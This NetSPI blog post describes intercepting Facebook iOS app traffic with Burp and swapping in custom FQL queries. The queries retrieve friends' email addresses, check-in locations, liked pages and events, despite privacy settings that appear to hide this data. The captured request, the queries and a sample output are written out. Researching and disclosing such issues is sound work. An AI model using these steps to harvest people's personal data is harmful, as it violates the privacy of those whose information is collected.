Facebook has a long and storied history of having confusing security and privacy settings. As of lately, there are three different settings (that I can find) that you can configure to control access to your email address(es). Each of these settings control specific facets of your email address privacy, but in this post we will focus on the third setting in the screen shot below. These settings are responsible for your email privacy, both on your profile and for your friends being able to see your email. This setting can be found by going to your “About” section of your profile and editing your contact information.
The locks are the configuration settings for your emails being accessible (by friends or publicly) and the circles are the configuration settings for for your email showing up in your timeline. The default setting (that I’ve seen) for your email privacy on Facebook is set to “Friends”.
But this is kind of an odd setting to have, as you can’t access or look up a friends email through the web interface of Facebook (assuming it is hidden from the timeline/profile). From what I can tell, this setting is primarily available for importing your Facebook contacts to other services (Gmail, Yahoo, etc.). I find this interesting as most people assume that they have successfully hidden their email adress on Facebook when they choose to not display it on their profile. Most of my friends are currently hiding both email addresses (private and facebook.com addresses) or they are just showing their @facebook.com email address in their profile. However, very few of my friends have their private email address set as available to “Only Me.”
The following walkthrough will go over how to enumerate your available Facebook friends’ email addresses by manipulating traffic from the iOS Facebook application.
The Attack
We’ve previously covered a fewdifferentattacks on the NetSPI blog regarding proxies and iOS apps. This will be yet another example of abusing permissions given to a mobile app to get access to data.
The setup for this attack is pretty simple. We will be using the Burp proxy from Portswigger to intercept the iOS traffic. First, install the Portswigger CA on your iOS device. This is needed to intercept the SSL traffic. Next, proxy your iOS traffic through Burp, and start looking at and modifying/replaying application traffic. I won’t get into the full details here, but the official instructions for setting up the Burp Proxy are here – https://portswigger.net/burp/help/proxy_options_installingCAcert.html#iphone
After opening up the Facebook application, we see the following request in the traffic when we go to look at our messages.
GET /method/fql.multiquery?sdk=ios&queries=%7B%22group_conversations%22%3A%22SELECT%20thread_id%2C%20name%2C%20title%2C%20is_group_conversation%2C%20pic_hash%2C%20participants%2C%20%20thread_fbid%2C%20timestamp%20FROM%20unified_thread%20%20WHERE%20timestamp%20%3E%201378149789000%20and%20folder%3D%27inbox%27%20and%20is_group_conversation%3D1%20%20and%20not%20archived%20order%20by%20timestamp%20desc%20limit%203%20offset%200%22%2C%22group_conversation_participants_profile_pic_urls%22%3A%22SELECT%20id%2C%20size%2C%20url%20FROM%20square_profile_pic%20WHERE%20size%20IN%20%2888%2C%20148%29%20AND%20id%20IN%20%28SELECT%20participants.user_id%20FROM%20%23group_conversations%29%22%2C%22favoriteRanking-Groups%22%3A%22SELECT%20favorite_id%2C%20ordering%2C%20is_group%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%20and%20is_group%22%2C%22favorites%22%3A%22SELECT%20uid%2C%20is_pushable%2C%20has_messenger%2C%20last_active%20FROM%20user%20WHERE%20uid%20in%20%28SELECT%20favorite_id%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%29%22%2C%22favoriteRanking%22%3A%22SELECT%20favorite_id%2C%20ordering%2C%20is_group%20FROM%20messaging_favorite%20WHERE%20uid%3Dme%28%29%22%2C%22group_conversations_favorites%22%3A%22SELECT%20thread_id%2C%20name%2C%20title%2C%20is_group_conversation%2C%20%20pic_hash%2C%20participants%2C%20thread_fbid%2C%20timestamp%20FROM%20unified_thread%20WHERE%20thread_fbid%20IN%20%28select%20favorite_id%20from%20%23favoriteRankingGroups%29%22%2C%22group_conversation_participants%22%3A%22SELECT%20id%2C%20name%20FROM%20profile%20WHERE%20id%20IN%20%28SELECT%20participants.user_id%20FROM%20%23group_conversations%29%22%2C%22top_friends%22%3A%22SELECT%20uid%2C%20is_pushable%2C%20has_messenger%2C%20last_active%20FROM%20user%20WHERE%20uid%20in%20%28SELECT%20uid2%20FROM%20friend%20WHERE%20uid1%3Dme%28%29%20order%20by%20communication_rank%20desc%20LIMIT%2015%29%22%7D&sdk_version=2&access_token=REDACTED&format=json&locale=en_US HTTP/1.1 Host: api.facebook.com Proxy-Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* Cookie: REDACTED Connection: keep-alive Accept-Language: en-us User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B329 [FBAN/FBIOS;FBAV/6.4;FBBV/290891;FBDV/iPhone4,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/6.1.3;FBSS/2; FBCR/AT&T;FBID/phone;FBLC/en_US;FBOP/1]
This request selects your conversations along with the information about the people involved in the conversations. It’s a pretty complicated query, but we won’t care about that in a minute. If you want to use this as a tutorial, this is the request that you will want to right-click on and “send to repeater” in Burp.
Here’s the unencoded query:
{"group_conversations":"SELECT thread_id, name, title, is_group_conversation, pic_hash, participants, thread_fbid, timestamp FROM unified_thread WHERE timestamp > 1378149789000 and folder='inbox' and is_group_conversation=1 and not archived order by timestamp desc limit 3 offset 0","group_conversation_participants_profile_pic_urls":"SELECT id, size, url FROM square_profile_pic WHERE size IN (88, 148) AND id IN (SELECT participants.user_id FROM #group_conversations)","favoriteRankingGroups":"SELECT favorite_id, ordering, is_group FROM messaging_favorite WHERE uid=me() and is_group","favorites":"SELECT uid, is_pushable, has_messenger, last_active FROM user WHERE uid in (SELECT favorite_id FROM messaging_favorite WHERE uid=me())","favoriteRanking":"SELECT favorite_id, ordering, is_group FROM messaging_favorite WHERE uid=me()","group_conversations_favorites":"SELECT thread_id, name, title, is_group_conversation, pic_hash, participants, thread_fbid, timestamp FROM unified_thread WHERE thread_fbid IN (select favorite_id from #favoriteRankingGroups)","group_conversation_participants":"SELECT id, name FROM profile WHERE id IN (SELECT participants.user_id FROM #group_conversations)","top_friends":"SELECT uid, is_pushable, has_messenger, last_active FROM user WHERE uid in (SELECT uid2 FROM friend WHERE uid1=me() order by communication_rank desc LIMIT 15)"}
What we’re going to do is make our own query to get more information about our friends. Returned in a nice easy to parse format.
Here’s the query that we’re going to use to select our Friends’ email addresses: {” friends_email”:”SELECT uid, email, contact_email FROM user WHERE uid in (SELECT uid2 FROM friend WHERE uid1=me())”}
You will have to URL encode the spaces in the query, but you can just paste this over the previous query that we intercepted earlier (and passed to repeater) and URL encode it in Burp.
This will select the Facebook User ID, and any email or contact email addresses associated with the account. The UID can also be handy for quickly pulling up someone’s account. i.e. https://www.facebook.com/4
Here’s a sample of what we get back from the query: [{“name”:”friends_email”,”fql_result_set”:[{“uid”:13931306,”email”:”karlu0040example.com”,”contact_email”:”karlu0040example.com”}]}]
So we can access our friends’ email addresses, this may not seem like a big deal for some people, but if you have friends like mine, then your friends may not want their real email address publically available through Facebook. If you can’t tell by the screen shot above, my friends appreciate their privacy.
While we’re requesting stuff that your friends may not want you to have access to, let’s look at some other interesting info that you can access.
Some of my personal favorites:
Location Data for check-ins:
{” friends_locations”:”SELECT coords, message, timestamp FROM location_post WHERE author_uid in (SELECT uid2 FROM friend WHERE uid1=me())”}
Publicly liked pages:
{” URLs_liked”:”SELECT url FROM url_like WHERE user_id =4″}
Events information:
{“z_events”:”SELECT description, host FROM event WHERE creator=4″}
I did reach out to Facebook about this issue, but since this is “intended” functionality, they were not very interested in hearing about this. The functionality of the email privacy setting doesn’t make a whole lot of sense, but I will be setting my email address to private for all of my accounts.
Necessary cookies help make a website usable by enabling basic functions like page navigation and access to secure areas of the website. The website cannot function properly without these cookies.
Name
Domain
Purpose
Expiry
Type
YSC
youtube.com
YouTube session cookie.
52 years
HTTP
Marketing cookies are used to track visitors across websites. The intention is to display ads that are relevant and engaging for the individual user and thereby more valuable for publishers and third party advertisers.
Name
Domain
Purpose
Expiry
Type
VISITOR_INFO1_LIVE
youtube.com
YouTube cookie.
6 months
HTTP
Test
test.com
Testing
7 days
HTTP
Analytics cookies help website owners to understand how visitors interact with websites by collecting and reporting information anonymously.
We do not use cookies of this type.
Preference cookies enable a website to remember information that changes the way the website behaves or looks, like your preferred language or the region that you are in.
We do not use cookies of this type.
Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies.
We do not use cookies of this type.
Cookies are small text files that can be used by websites to make a user's experience more efficient. The law states that we can store cookies on your device if they are strictly necessary for the operation of this site. For all other types of cookies we need your permission. This site uses different types of cookies. Some cookies are placed by third party services that appear on our pages.
Cookie Settings
Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.